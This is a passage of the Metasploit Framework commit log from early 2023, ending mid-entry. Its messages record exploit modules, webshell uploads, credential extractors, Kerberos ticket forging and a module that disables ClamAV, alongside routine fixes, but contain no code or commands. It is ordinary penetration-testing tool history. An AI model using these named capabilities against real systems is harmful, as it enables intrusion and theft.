Grant Willcox d257bae706 Land #17783, Update reload_lib command to catch script errors 2023-03-20 13:56:27 -05:00
adfoster-r7 49f15527d1 Fix external module crash for att open proxy scanner 2023-03-20 15:43:54 +00:00
h00die-gr3y 5903addbd6 Updates adressing majority of review points 2023-03-19 15:13:09 +00:00
bcoles 1b7cee4589 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-19 15:35:36 +11:00
Metasploit 668735e418 automatic module_metadata_base.json update 2023-03-17 16:59:16 -05:00
space-r7 9e1be62f06 Land #17462, add WhatsUp Gold credential extractor 2023-03-17 16:44:17 -05:00
Jack Heysel 31a32ccd9b linting and srvhost check fix 2023-03-17 14:39:02 -04:00
jheysel-r7 56761a2f6d Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:01:02 -04:00
jheysel-r7 6b853b57c6 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 13:00:15 -04:00
jheysel-r7 764abaf087 Update documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-03-17 12:59:48 -04:00
jheysel-r7 df365b55a4 Update modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-17 12:57:06 -04:00
Metasploit 01204106e9 automatic module_metadata_base.json update 2023-03-17 05:03:20 -05:00
Christophe De La Fuente 0df12fd694 Land #17754, Open web analytics 1.7.3 remote code execution 2023-03-17 10:15:33 +01:00
H00die.Gr3y 04e0fc70bf Apply suggestions from code review
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-03-16 19:25:03 +01:00
Metasploit 8b26064855 Bump version of framework to 6.3.9 2023-03-16 12:14:04 -05:00
Pflegusch 3baa894840 Add DefangedMode to warn the user 2023-03-16 18:07:28 +01:00
Spencer McIntyre 0c567c474e Land #17780, Update GSoC-2023-Project-Ideas.md
Update GSoC-2023-Project-Ideas.md to remove my name from mentor list
2023-03-16 10:06:29 -04:00
adfoster-r7 6f6559dc2c Update the reload_lib command to continue reloading the remaining files if a single file fails to load 2023-03-16 11:41:00 +00:00
Arthur RAOUT 4ecf222c95 add iquote join() for x64 2023-03-16 11:21:03 +01:00
Metasploit 335c00e2f9 automatic module_metadata_base.json update 2023-03-16 05:16:49 -05:00
Christophe De La Fuente daadb4f523 Land #17775 - Add exploit for Bitbucket env var RCE (CVE-2022-43781) 2023-03-16 11:01:07 +01:00
Arthur RAOUT 5a1fdbab50 revert newline 2023-03-15 21:00:13 +01:00
Arthur RAOUT 58951196bc Merge branch 'fix_mingw_includes' of github.com:araout42/metasploit-framework into fix_mingw_includes 2023-03-15 20:58:56 +01:00
Arthur RAOUT 3d3e3195a3 fix 1 eol space 2023-03-15 20:58:42 +01:00
Professor Araout 351b62cca6 Merge branch 'rapid7:master' into fix_mingw_includes 2023-03-15 20:55:36 +01:00
Arthur RAOUT f73249f709 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:54:27 +01:00
Arthur RAOUT 028cc8a909 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:53:57 +01:00
Grant Willcox 1fef0ebdb1 Update GSoC-2023-Project-Ideas.md
I am no longer a mentor for this year, so remove my name from the mentor list.
2023-03-15 14:15:28 -05:00
space-r7 8a76dab0bd update line numbers 2023-03-15 13:24:33 -05:00
Pflegusch 027793cce6 Remove unused variable res in check_connection 2023-03-15 19:00:26 +01:00
Pflegusch ac72c12734 Set timeout of 1s to make session available much quicker 2023-03-15 18:59:22 +01:00
Pflegusch d06e2d9e3d Remove nvd url 2023-03-15 18:56:23 +01:00
space-r7 22c05105d3 address review comments
reduces some code duplication, sets privileged to true,
and modifies documentation to reflect lhost / rhost opts
2023-03-15 11:18:03 -05:00
3V3RYONE 9d60480d4e make subscriber nil safe 2023-03-15 21:34:51 +05:30
adfoster-r7 90d4b660f7 Update brocade tests to pass locally 2023-03-15 13:23:01 +00:00
Pflegusch 3bf60a57ae Fix typo 2023-03-15 01:54:36 +01:00
Pflegusch cea8aa8e02 Update open_web_analytics_rce.md to work with latest code changes 2023-03-15 01:34:02 +01:00
Pflegusch ee0334dd40 since file got deleted, one can not trigger the payload anymore by opening the php url 2023-03-15 01:05:10 +01:00
space-r7 fddcae3d93 don't always create repo 2023-03-14 19:03:58 -05:00
Pflegusch 0cbebc8a4c Remove malicious .php file at the end of the exploit 2023-03-15 01:03:20 +01:00
Pflegusch 103def70e4 More detailed error message for failed regex match 2023-03-15 00:07:20 +01:00
Pflegusch bb9e214282 Fix line too long in open_web_analytics_rce docs 2023-03-15 00:01:15 +01:00
Pflegusch d72d47e502 Update Failure Codes and check for nil in the helper functions 2023-03-14 23:59:57 +01:00
Pflegusch 897aaf9572 Use Failure::UnexpectedReply when password cant be changed 2023-03-14 23:41:48 +01:00
Pflegusch 2310b0d942 Use Failure::NotFound when no valid cache file is found 2023-03-14 23:40:29 +01:00
Pflegusch 86f4a16cff Check if cache_request is not nil 2023-03-14 23:38:57 +01:00
Pflegusch e160e51711 Fix typos, update docs with advanced option SearchLimit, implement SearchLimit into module 2023-03-14 23:29:55 +01:00
Pflegusch 887551bf2c Use UnexptectedReply instead of Unknown 2023-03-14 22:29:38 +01:00
Pflegusch 8db10af8c0 check if res is not nil in addition to res.code 2023-03-14 22:28:52 +01:00
Pflegusch dff139d6d7 remove fail_with in check_connection as suggested 2023-03-14 22:24:08 +01:00
Pflegusch 2ce3aeed2b Add CONFIG_CHANGES to the side effects 2023-03-14 22:16:10 +01:00
Pflegusch c0ee250b6b Add some more URL references 2023-03-14 22:14:16 +01:00
Pflegusch cfaad7fb84 prepend AutoCheck 2023-03-14 22:10:44 +01:00
Pflegusch 9e64f02742 Use default values in option declaration instead of DefaultOptions 2023-03-14 22:08:05 +01:00
Pflegusch ac6e94770e use Failure::Unreachable and use unless instead of if/else 2023-03-14 22:03:31 +01:00
Pflegusch 311314984f Remove base64 requirement 2023-03-14 21:47:29 +01:00
Pflegusch cc4e455530 Remove directory datastore option and make username and password required 2023-03-14 21:46:45 +01:00
Pflegusch 3196a52bdf fix msftidy_docs.rb issues 2023-03-14 21:43:07 +01:00
3V3RYONE 9c20d0f84b Implemented HTTP-Trace for login scanners via HttpLoggerSubscriber API 2023-03-15 00:57:33 +05:30
Metasploit c2c5c0c339 automatic module_metadata_base.json update 2023-03-14 11:24:18 -05:00
Grant Willcox c53a22d3fb Land #17750, FortiNAC keyUpload.jsp arbitrary file write CVE-2022-39952 2023-03-14 11:09:40 -05:00
Grant Willcox 7217a60e41 Update documentation to provide better installation instructions 2023-03-14 10:13:27 -05:00
Grant Willcox 4a4b2a28d2 Update documentation to provide better installation instructions 2023-03-14 09:21:08 -05:00
Metasploit d9c5a3debf automatic module_metadata_base.json update 2023-03-14 05:44:22 -05:00
cgranleese-r7 ec7347cd49 Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425) 2023-03-14 10:16:18 +00:00
space-r7 1eeaff255e make username / password opts required 2023-03-13 16:45:48 -05:00
Grant Willcox 3bd4c15704 Correct architecture and do final fixes 2023-03-13 15:46:42 -05:00
space-r7 4bb843fe70 add documentation, adjust method of getting ids 2023-03-13 15:31:41 -05:00
h00die 8dfe58e617 review comment
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-03-13 14:42:26 -04:00
space-r7 4eef052fcd add usage of linux cmdstager, cleanup, description 2023-03-13 13:24:15 -05:00
Metasploit 192af217b6 Bump version of framework to 6.3.8 2023-03-13 13:23:26 -05:00
h00die-gr3y 015d79a4c2 added documentation 2023-03-13 18:05:08 +00:00
Grant Willcox 9ab335ee05 Land #17774, Fix undefined method word_wrap error on msfconsole boot 2023-03-13 13:00:06 -05:00
adfoster-r7 18ecd8be18 Land #17773, Fix kerberos tests failing in different timezones 2023-03-13 17:42:26 +00:00
adfoster-r7 ccf1a82664 Fix undefiend method word_wrap error on msfconsole boot 2023-03-13 17:24:57 +00:00
Dean Welch db343e629d Fix remaining hardcoded timezones in tests 2023-03-13 13:16:12 -04:00
Metasploit bc002de9f2 automatic module_metadata_base.json update 2023-03-13 11:52:26 -05:00
adfoster-r7 4afa8515a8 Land #17770, Revert "Added new Datastore options to ssh_login" 2023-03-13 16:30:05 +00:00
Grant Willcox 3a7da2ad8a Revert "Added new Datastore options to ssh_login" 2023-03-13 10:05:22 -05:00
h00die-gr3y 07d7248de8 initial module commit 2023-03-13 13:32:14 +00:00
Metasploit a26e839ef8 automatic module_metadata_base.json update 2023-03-13 06:35:38 -05:00
cgranleese-r7 29eec5733d Land #17757, Update formatting logic for info command 2023-03-13 11:12:58 +00:00
Pflegusch ddd594ac62 Update example in docs for latest code changes 2023-03-11 17:26:21 +01:00
Pflegusch 94e9504727 Use metasploit payload instead of hardcoded one 2023-03-11 14:47:32 +01:00
Pflegusch 3f7f28dd4f make use of full_uri and change regex 2023-03-11 14:25:04 +01:00
adfoster-r7 daef33fe33 Update formatting logic for info command 2023-03-09 23:23:16 +00:00
Aaron Meese 0a6ac589e4 Update modules/auxiliary/scanner/http/rpyc_rce.py
Renames `system` function to `remote_system`

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-09 15:55:51 -07:00
Jack Heysel 2a9ddae531 Updated description 2023-03-09 17:43:14 -05:00
Jack Heysel 06e7c3d702 Responded to comments updated docs 2023-03-09 17:39:53 -05:00
space-r7 2fbc80a44f add base cmdstager support for windows target 2023-03-09 16:24:12 -06:00
Metasploit d188170169 Bump version of framework to 6.3.7 2023-03-09 14:03:37 -06:00
Christophe De La Fuente 4866c2b8b8 Land #17686, Additional PetitPotam Methods 2023-03-09 19:29:16 +01:00
Grant Willcox fdcf55ef58 Land #17758, Update metasploit-payloads gem to 2.0.122 2023-03-09 11:34:18 -06:00
jheysel-r7 63e2376f64 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-03-09 12:31:30 -05:00
Metasploit d2d99b5db7 automatic module_metadata_base.json update 2023-03-09 11:01:25 -06:00
Spencer McIntyre 0cbac03f91 Update ruby_smb gem to 3.2.5 2023-03-09 11:58:49 -05:00
Spencer McIntyre 876b7c2c0f Update metasploit-payloads gem to 2.0.122
Includes changes from:
* rapid7/metasploit-payloads#621
* rapid7/metasploit-payloads#623
2023-03-09 11:40:45 -05:00
Grant Willcox beb9f87d53 Land #17507, SugarCRM webshell upload RCE [CVE-2023-22952] + Mixin for PNG embedded web shells 2023-03-09 10:16:57 -06:00
dwelch-r7 9961fffaa2 Land #17756, Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 16:12:52 +00:00
dwelch-r7 01399e4818 Land #17749, Add nthashes to keytab export 2023-03-09 16:09:13 +00:00
Pflegusch 38511f4d89 Rename establish_connection function 2023-03-09 17:06:07 +01:00
Pflegusch e66fd8f5ae Use rand_text_alphanumeric function 2023-03-09 17:03:48 +01:00
Pflegusch 69839d1924 Remove get_proxy_protocol function 2023-03-09 17:02:10 +01:00
Pflegusch 85185633b7 Use single back ticks and 3 instead of 4 at the end 2023-03-09 16:58:04 +01:00
Pflegusch 614f4b6d89 Make installation path of owa configurable 2023-03-09 16:32:28 +01:00
h00die-gr3y fc711131a2 added MIME, added break in mixin and added link with installation instructions 2023-03-09 09:28:46 -06:00
Grant Willcox deafceed00 Update documentation, library, and Gemspec from review 2023-03-09 09:28:27 -06:00
h00die-gr3y d3f84af790 Included mixin for PHP code injection at PNGs 2023-03-09 09:28:14 -06:00
h00die-gr3y dc8ebb722a Added support for native PHP payloads and reengineered webshells 2023-03-09 09:28:03 -06:00
h00die-gr3y c844d4d714 removed check and fix up some code 2023-03-09 09:27:29 -06:00
h00die-gr3y 771f32bd8a Add documentation and apply code updates 2023-03-09 09:27:03 -06:00
h00die-gr3y 378a667f76 init commit module 2023-03-09 09:26:55 -06:00
Pflegusch 2de53712bd Use Rex::Version for version comparison 2023-03-09 15:59:42 +01:00
Pflegusch 94ceeb075a Redirect is not necessary - replace with simple send_request_cgi request 2023-03-09 15:41:15 +01:00
Jeffrey Martin 350984bc41 Land #17661, Weekly dependency updates for Gemfile.lock 2023-03-09 08:36:26 -06:00
Pflegusch ee95eb2883 fix typo: establish_connection 2023-03-09 15:09:32 +01:00
adfoster-r7 5c1fcc3a72 Update secrets dump to generate kerberos rc4 key for machine account 2023-03-09 14:05:12 +00:00
Pflegusch 14b5c08a62 Fix the double slash in the shell url 2023-03-09 14:28:15 +01:00
Pflegusch ae7ca169fe Use the same IP as in the example 2023-03-09 14:08:50 +01:00
Pflegusch 3847c410b0 Small changes to the open_web_analytics_rce documentation 2023-03-09 14:05:06 +01:00
Pflegusch 7b0a54bb56 Add the documentation for the module 2023-03-09 13:59:27 +01:00
Pflegusch d59175a463 make it work for https and http and remove the tmp self signed cert bypass 2023-03-09 13:58:56 +01:00
adfoster-r7 ab57c09dc2 Update get_ticket to support using forged golden tickets 2023-03-09 12:21:29 +00:00
Dean Welch 540f28d71b Fix crashes in wmap plugin 2023-03-09 12:07:40 +00:00
Pflegusch f0dbf54c69 use fail_with in get_cache_content function 2023-03-09 11:04:00 +01:00
Pflegusch 7068d4c3f1 remove LPORT, RPORT and SSL from DefaultOptions 2023-03-09 11:03:24 +01:00
space-r7 c69b5c9363 add creation of projects and multiple commits 2023-03-08 17:46:25 -06:00
Grant Willcox 100cfbccf9 Fix up some more slight things in documentation. Also tidy up some things in the module 2023-03-08 17:25:56 -06:00
Grant Willcox eeb30d2426 Fix up some typos etc from review in documentation 2023-03-08 16:44:06 -06:00
Pflegusch 76b05a7092 Change DisclosureDate according to nvd.nist.gov 2023-03-08 21:52:13 +01:00
Pflegusch b37be28191 Working module open web analytics 1.7.3 rce 2023-03-08 21:30:52 +01:00
Jack Heysel d31220ef1e Updated references 2023-03-08 14:17:34 -05:00
Jack Heysel 263223b783 Last second file reorganization fix 2023-03-08 14:08:46 -05:00
Jack Heysel dfae7e2fc4 FortiNAC keyUploap.jsp arbitrary file write CVE-2022-39952 2023-03-08 14:06:28 -05:00
Metasploit 05774d5f9c automatic module_metadata_base.json update 2023-03-08 12:32:46 -06:00
Christophe De La Fuente bbc071d254 Land #17737, Add Gather Wowza Streaming Engine Credentials 2023-03-08 19:13:21 +01:00
Metasploit 924d5eabee automatic module_metadata_base.json update 2023-03-08 12:10:57 -06:00
adfoster-r7 3bc4639235 Add nthashes to keytab export 2023-03-08 18:03:44 +00:00
Grant Willcox fbda738da9 Land #17727, Added new Datastore options to ssh_login 2023-03-08 11:43:57 -06:00
rohitkumarankam 599642bbb9 Updated variable names to be more specific 2023-03-08 10:53:24 -06:00
rohitkumarankam 28fb670d4d added sane defaults for new variables 2023-03-08 10:53:23 -06:00
rohitkumarankam 71e142a5ee updated variable names 2023-03-08 10:53:23 -06:00
rohitkumarankam 2c3005fee3 Added new Datastore options to ssh_login 2023-03-08 10:53:23 -06:00
Grant Willcox 0fc94f14e8 Bump up gems again 2023-03-08 10:26:29 -06:00
bcoles f62994b4c0 Add Gather Wowza Streaming Engine Credentials 2023-03-09 01:31:23 +11:00
Metasploit f8dbeb359a automatic module_metadata_base.json update 2023-03-08 08:18:44 -06:00
Christophe De La Fuente 6ef92915d2 Land #17741, Add in missing EDB reference to pfsense_pfblockerng_webshell 2023-03-08 14:53:09 +01:00
Arthur RAOUT 75002f16e6 Finally reverted bad changes 2023-03-08 13:45:25 +01:00
Arthur RAOUT 889aff9701 Revert accidental changes Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-08 13:41:26 +01:00
Grant Willcox 475209c768 Land #17746, Add LastPass master password example 2023-03-07 14:01:19 -06:00
Tod Beardsley de58b96d2a Add "a good example" of a LastPass password
When setting a new master password, LastPass helpfully suggests "r50$K28vaIFiYxaY" as a good example.

Sure, sounds good to me.
2023-03-07 13:32:50 -06:00
Tod Beardsley f5aa4296ff Merge branch 'rapid7:master' into master 2023-03-07 13:29:11 -06:00
Grant Willcox 10af603858 Land #17673, Msf::Payload::Apk: apktool: Decompile only main classes 2023-03-07 13:01:20 -06:00
Spencer McIntyre 7bcdf0386e Land #17745, Update metasploit-payloads gem to 2.0.120
Update metasploit-payloads gem to 2.0.120
2023-03-07 13:28:25 -05:00
Grant Willcox 92a91c759e Land #17743, Add documentation on profiling msfconsole and msfvenom performance 2023-03-07 12:25:40 -06:00
adfoster-r7 3338718f37 Add documentation on profiling msfconsole 2023-03-07 18:01:13 +00:00
Grant Willcox 795b9c9ebc Land #17744, Improve accuracy of msfconsole performance profiling 2023-03-07 11:36:47 -06:00
Grant Willcox 0bf809697c Update metasploit-payloads gem to 2.0.120 2023-03-07 10:55:07 -06:00
Metasploit a0accb2a36 automatic module_metadata_base.json update 2023-03-07 08:45:59 -06:00
Christophe De La Fuente ecbeceb817 Land #17733, Add Gather Wowza Streaming Engine Credentials 2023-03-07 15:27:52 +01:00
bcoles 3f781de8e9 Add Wowza Streaming Engine Manager Login Utility 2023-03-07 23:42:42 +11:00
adfoster-r7 6e06d1e6f8 Improve accuracy of msfconsole performance profiling 2023-03-07 12:41:07 +00:00
Grant Willcox 5c4d730cd3 Add in missing EDB reference 2023-03-06 14:32:01 -06:00
dwelch-r7 77c99da6d6 Land #17738, Fix Ruby 3.2 crash when running certain tools 2023-03-06 14:20:35 +00:00
Dean Welch d318a9e0d0 Add advanced option to include Ticket Checksum during forging 2023-03-06 13:21:23 +00:00
Dean Welch 48a5f33f35 Add option to include a ticket checksum while forging a ticket 2023-03-06 13:19:59 +00:00
Dean Welch 2aa74f9dfc Add support for full pac and partial ticket checksum support 2023-03-06 13:14:09 +00:00
adfoster-r7 4f75a44581 Fix Ruby 3.2 crash when running certain tools 2023-03-06 11:03:12 +00:00
Metasploit 10ea667b8f automatic module_metadata_base.json update 2023-03-06 05:00:24 -06:00
adfoster-r7 2c9aed6071 Land #17729, Replace deprecated File.exists? with File.exist? 2023-03-06 10:37:48 +00:00
Grant Willcox c5ef08b324 Add in additional YARD documentation fixes 2023-03-05 20:56:54 -06:00
Grant Willcox 08f07eccb6 Fix initial incorrect parameters in YARD documentation 2023-03-05 20:15:14 -06:00
bcoles 9dcaf93b29 Replace deprecated File.exists? with File.exist? 2023-03-05 14:30:47 +11:00
npm-cesium137-io 6adfc69b9a Merge pull request #2 from space-r7/whatsupgold-changes
Suggested changes for module
2023-03-04 14:41:01 -05:00
adfoster-r7 a2a9cd76b3 Land #17725, Fix number of OSX nightly installers we retain and fix typo 2023-03-04 00:23:12 +00:00
space-r7 99fb35fe84 refs/heads instead of refs/head 2023-03-03 17:24:39 -06:00
Grant Willcox 20003fd165 Land #17726, Update metasploit-payloads gem to 2.0.118 2023-03-03 16:40:16 -06:00
bwatters 9a4f8c0e7f Land #17716, Fix the reverse port forward message
Merge branch 'land-17716' into upstream-master
2023-03-03 16:28:49 -06:00
Spencer McIntyre 2c1de9b2e4 Update metasploit-payloads gem to 2.0.118
Includes changes from:
* rapid7/metasploit-payloads#619
* rapid7/metasploit-payloads#617
* rapid7/metasploit-payloads#610
2023-03-03 17:19:05 -05:00
Grant Willcox df4009c084 Fix number of OSX nightly installers we retain and fix typo 2023-03-03 14:12:27 -06:00
Metasploit fe84cb0804 automatic module_metadata_base.json update 2023-03-03 12:08:47 -06:00
Grant Willcox 6579dcc977 Land #17723, Fix PHP Base64 encoding 2023-03-03 11:53:46 -06:00
Metasploit 3b7a224f37 automatic module_metadata_base.json update 2023-03-03 08:32:09 -06:00
cgranleese-r7 252012f48d Land #17675, Add support for forging inter-realm Kerberos tickets 2023-03-03 14:17:48 +00:00
Metasploit f8c67e9498 automatic module_metadata_base.json update 2023-03-03 07:46:21 -06:00
cgranleese-r7 6259f02051 Land #17684, Add rbcd exploitation documentation to docs site 2023-03-03 13:31:53 +00:00
adfoster-r7 efd79eb638 Add support for forging inter-realm Kerberos tickets 2023-03-03 13:20:39 +00:00
adfoster-r7 0047ce5d3a Add rbcd exploitation documentation to docs site 2023-03-03 13:18:29 +00:00
cgranleese-r7 d5f9ff14d2 Land #17688, Fix broken wiki links, and add automation for future validation 2023-03-03 11:51:25 +00:00
adfoster-r7 31ca497e1f Fix broken wiki links, and add automation for future validation 2023-03-03 10:51:23 +00:00
Grant Willcox 975de9d479 Supply exception message when raising BadcharError and fix typo 2023-03-02 17:46:21 -06:00
Grant Willcox 96c9f60cc1 Land #17715, Update metasploit-payloads gem to 2.0.115 2023-03-02 16:52:24 -06:00
jvoisin 5b82c952ba Rubocop pass 2023-03-02 21:43:41 +01:00
jvoisin ae549ce1d4 Fix PHP base64 encoding 2023-03-02 21:40:27 +01:00
bwatters 5b4962e2bd Land #17721, Fix adapted payload stage encoding
Merge branch 'land-17721' into upstream-master
2023-03-02 14:03:06 -06:00
Metasploit 673a574b3d Bump version of framework to 6.3.6 2023-03-02 12:11:53 -06:00
adfoster-r7 f3975e968f Land #17635, Add support for full pac ul_type 19 and partial ticket checksum support 2023-03-02 14:22:58 +00:00
Metasploit ec2d71cbb7 automatic module_metadata_base.json update 2023-03-02 08:13:23 -06:00
Spencer McIntyre a418bd9c65 Land #17638, Lucee Scheduled Job RCE 2023-03-02 08:57:19 -05:00
Arthur RAOUT 7b7377257e fixed 2 rubocop offenses 2023-03-02 13:08:09 +01:00
Arthur RAOUT e178226efa Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-framework into New_x86_xor_encoder 2023-03-02 12:31:21 +01:00
Arthur RAOUT dd7e8328bb no test.rb 2023-03-02 12:31:07 +01:00
Arthur RAOUT 1461f9fb03 slight changes in the comments 2023-03-02 12:30:38 +01:00
Arthur RAOUT 6a81e0f6cb Merge branch 'upstream-master' into New_x86_xor_encoder 2023-03-02 12:10:00 +01:00
Professor Araout 83bcd1cc1b Fix typo in the comments line 41
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-03-02 11:50:56 +01:00
Spencer McIntyre 088f359cee Make stage encoding optional 2023-03-01 12:24:46 -05:00
Spencer McIntyre 08cb115368 Handle encoding stages of different architectures 2023-03-01 12:17:37 -05:00
JBince 1245124afa updated docs to reflect changes from smcintyre-r7 2023-02-28 19:58:39 -06:00
Alex dde4445dab Merge pull request #1 from smcintyre-r7/pr/collab/17638
Pr/collab/17638
2023-02-28 20:27:49 -05:00
Spencer McIntyre 3fabcc3421 Use coldfusion to decode base64 data
This means we don't need to rely on base64 being in the path. Also
invoke ARCH_CMD payloads on Windows through cmd.exe and not
powershell.exe.
2023-02-28 17:32:56 -05:00
Metasploit 82005fe3cf automatic module_metadata_base.json update 2023-02-28 16:31:20 -06:00
Spencer McIntyre c8aa491378 Fail with Unreachable when res is nil 2023-02-28 17:05:59 -05:00
Jack Heysel 3abd62076c Land #17624, Oracle E-Business Suite Module
This pull request adds an exploit module for CVE-2022-21587
an arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator as shipped with 12.2.3 through to 12.2.11
which results in RCE
2023-02-28 17:04:20 -05:00
Metasploit 89d9da87bd automatic module_metadata_base.json update 2023-02-28 15:56:29 -06:00
Spencer McIntyre a916163b49 Cleanup files and fixup messages 2023-02-28 16:41:57 -05:00
space-r7 b3e6767125 Land #17676, add SIS login module 2023-02-28 15:41:24 -06:00
space-r7 380a66916f use print instead of vprint 2023-02-28 15:40:03 -06:00
Spencer McIntyre 636d89cf67 Fix the reverse port forward message 2023-02-28 15:08:00 -05:00
Spencer McIntyre 75ed29964e Update metasploit-payloads gem to 2.0.115
Includes changes from:
* rapid7/metasploit-payloads#614
* rapid7/metasploit-payloads#611
2023-02-28 12:56:34 -05:00
Imran E. Dawoodjee 41c231b803 Convert to JSON before checks 2023-02-28 09:46:56 +08:00
Metasploit b8178397a9 automatic module_metadata_base.json update 2023-02-27 15:49:35 -06:00
Spencer McIntyre 2be54376bc Land #17699, Add in SCHANNEL support for LDAP 2023-02-27 16:35:30 -05:00
Spencer McIntyre d92b6e328a Fix up error message 2023-02-27 16:14:00 -05:00
Metasploit 1f370b3c9e automatic module_metadata_base.json update 2023-02-27 15:02:04 -06:00
bwatters 87f046f351 Land #17629, Fix #17629 #query_ldap issues
Merge branch 'land-17698' into upstream-master
2023-02-27 14:39:19 -06:00
Jack Heysel ac3e84d3fb Land #17679, Fix broken payload selection for RPC
Fix broken payload selection for Metasploit RPC
2023-02-27 15:19:50 -05:00
Grant Willcox 524f5e4e63 Check file exists first before trying to read 2023-02-27 14:12:09 -06:00
JBince 8b03f2fda8 Reworked payload execution logic 2023-02-27 11:09:34 -06:00
Grant Willcox 4cd50b4550 Address comments from review 2023-02-27 11:07:21 -06:00
Jack Heysel fc76f5f039 Land #17680, improve UX of metasploit docs site
Adds expand all and colapse all buttons to module
section of the docs site for a better UX
2023-02-27 11:31:46 -05:00
Imran E. Dawoodjee 3f1119c69e Attempt fix for NoMethodError when exploiting 2023-02-26 22:02:08 +08:00
Imran E. Dawoodjee 2f08cf6c46 Improved version check, review round 1 2023-02-26 17:23:54 +08:00
Grant Willcox 47652e3b19 Land #17696, Update metasploit-payloads gem to 2.0.113 2023-02-25 16:41:21 -06:00
Grant Willcox 3c56cf7a15 Land #17701, Fix typo in psexec.rb 2023-02-25 10:42:37 -06:00
Grant Willcox 363a3415df Land #17700, Fix argument validation for the route command 2023-02-25 10:37:52 -06:00
Jeff McJunkin b7d373d247 Typo in psexec.rb 2023-02-25 08:15:34 -08:00
Grant Willcox 50fdd4536e Land #17695, Remove LDAP collection project from GSOC 2023 list 2023-02-25 09:26:05 -06:00
Spencer McIntyre 49a2f481b6 Fix argument validation for the route command 2023-02-24 15:36:52 -05:00
Grant Willcox fe8afed994 Change over to fail_with and add condition to fail when SSL is not enabled and SCHANNEL is the authentication mechanism 2023-02-24 14:13:13 -06:00
Metasploit 020d2d3302 automatic module_metadata_base.json update 2023-02-24 13:54:52 -06:00
Grant Willcox f6bfa6a61b Add in SCHANNEL support, and update modules to fix a hang when using to_json instead of get_operation_result. 2023-02-24 13:50:04 -06:00
Spencer McIntyre 20dbc175d1 Land #17697, Froxlor 2.0.7 is actually vulnerable too
Froxlor 2.0.7 is actually vulnerable too
2023-02-24 14:32:32 -05:00
Spencer McIntyre 26d9026fc2 Fix a filter error
When FILTER was nil, the check would fail causing `()` to be appended to
the LDAP query filter which would cause it to fail.
2023-02-24 13:51:58 -05:00
Spencer McIntyre fc8f94fff4 Fix #query_ldap to use the API
Fix #query_ldap to use the API provided by Windows instead of dealing
with the opaque BER data structures. This means that querying is now
reliant on documented APIs and will function on both 32-bit and 64-bit
Meterpreters.
2023-02-24 13:46:11 -05:00
Spencer McIntyre 9706ee9d9e Need to use #native_arch
Using #arch instead of #native_arch means that the Python Meterpreter
will be misclassified as ARCH_PYTHON and will be unable to use util
functions correctly.
2023-02-24 13:46:11 -05:00
Jack Heysel ca6faed172 Check method enhancement 2023-02-24 13:33:10 -05:00
Jack Heysel 5311a491e9 Froxlor 2.0.7 is actually vulnerable too 2023-02-24 13:18:34 -05:00
Spencer McIntyre 7db2d86147 Update metasploit-payloads gem to 2.0.113
Includes changes from:
  * rapid7/metasploit-payloads#604
  * rapid7/metasploit-payloads#605
  * rapid7/metasploit-payloads#607
  * rapid7/metasploit-payloads#606
  * rapid7/metasploit-payloads#609
2023-02-24 12:09:21 -05:00
Spencer McIntyre 22ad9ebe7f Remove the LDAP collection prject 2023-02-24 11:40:56 -05:00
bcoles b19ab03da1 Msf::Payload::Apk: apktool: Decompile only main classes 2023-02-25 01:08:20 +11:00
adfoster-r7 a408e3e27f Land #17687, Add additional documentation for HTTPRawHeaders Option 2023-02-24 10:19:18 +00:00
Metasploit 011ffb87bd automatic module_metadata_base.json update 2023-02-23 21:18:09 -06:00
Jack Heysel 5749b402af Land #17672, disable ClamAV on Linux
This PR includes a post module that will disable
ClamAV on Linux systems.
2023-02-23 21:51:48 -05:00
Jack Heysel 9a874c352b Added missing space in fail_with statement 2023-02-23 20:57:19 -05:00
DLL_Cool_J 9e9e7ac938 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-02-23 20:33:10 -05:00
DLL_Cool_J 0479215373 Update docs/metasploit-framework.wiki/Metasploit-Guide-HTTP.md
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-02-23 20:32:58 -05:00
space-r7 eec73fe394 add module changes 2023-02-23 16:34:43 -06:00
Jack Heysel 5e2f0965f3 Changed print_bad to fail_with 2023-02-23 17:33:52 -05:00
Jack Heysel 8db255288b Spelling 2023-02-23 16:40:09 -05:00
Jack Heysel 2ed89dda7e Added nc and python cmd techniques 2023-02-23 16:21:09 -05:00
Spencer McIntyre fbf2e5d370 Land #17562, Fix incorrect defs in def_wldap32.rb
Fix incorrect definitions for ldap_search functions in def_wldap32.rb
2023-02-23 14:03:26 -05:00
Metasploit f4549b0a1e Bump version of framework to 6.3.5 2023-02-23 12:11:22 -06:00
adfoster-r7 d21f6a10a2 Land #17690, Update inspect ticket tests to use the local timezone 2023-02-23 16:02:55 +00:00
dwelch-r7 6c5c158607 Land #17691, Fix module spec test failing on local machine 2023-02-23 14:52:05 +00:00
Spencer McIntyre 42bd87e0c1 Update how railgun handles pointer return types
Update railgun to handle pointer return types. If the type that is
pointed to is known (i.e. PCHAR, PULONG_PTR) and not LPVOID, the
contents returned to the caller. The raw address is also returned in the
